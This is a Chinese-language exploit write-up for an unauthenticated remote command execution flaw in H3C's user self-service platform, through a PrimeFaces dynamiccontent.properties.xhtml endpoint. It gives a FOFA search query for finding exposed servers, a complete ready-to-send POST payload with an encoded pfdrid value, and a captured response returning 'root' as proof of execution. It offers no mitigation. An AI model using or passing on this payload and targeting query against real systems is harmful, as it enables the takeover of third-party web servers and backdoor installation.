

H2-1H3C-用户自助服务平台-RCE

漏洞描述：

H3C 用户自助服务平台 dynamiccontent.properties.xhtml 接口出存在命令执行漏洞，未经身份验证的攻击者可以利用此漏洞执行任意指令，写入后门文件，导致整个web服务器存在被控的风险。

网站图片：



网络测绘：

fofa语法：

FOFA: `file=\\PmVs5PL6e9m5Xt0J4V2+A=`

漏洞复现：

payload:

```
POST /mselfservice/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

pfdrt=sc&ln=primefaces&pfdrid=uMK1jPgnoTVxmOB%2BH6%2FQEPW9ghJMLG3PRdkfmbiiPkUDzOAoSQnmBt4dYyvjGhVqupdmBV%2FKAe9gtw54DSQC172JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGaFolQDqc4QwUqL
```

效果图：

Request

```
1 POST /mselfservice/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
2 Host: 
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 Content-Type: application/x-www-form-urlencoded
5 Accept-Encoding: gzip
6
7 pfdrt=sc&ln=primefaces&
pfdrid=uMK1jPgnoTVxmOB%2BH6%2FQEPW9ghJMLG3PRdkfmbiiPkUDzOAoSQnmBt4dYyvjGhVqupdmBV%2FKAe9gtw54DSQC172JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGaFolQDqc4QwUqL
```

Responses 6bytes / 94ms

```
1 HTTP/1.1 200 OK
2 Set-Cookie: JSESSIONID=A0DE92BC29A80DC325
3 Content-Type: text/plain; charset=UTF-8
4 vary: accept-encoding
5 Date: Tue, 12 Mar 2024 15:17:26 GMT
6 Server: Server
7 Content-Length: 6
8
9
10 root
11
```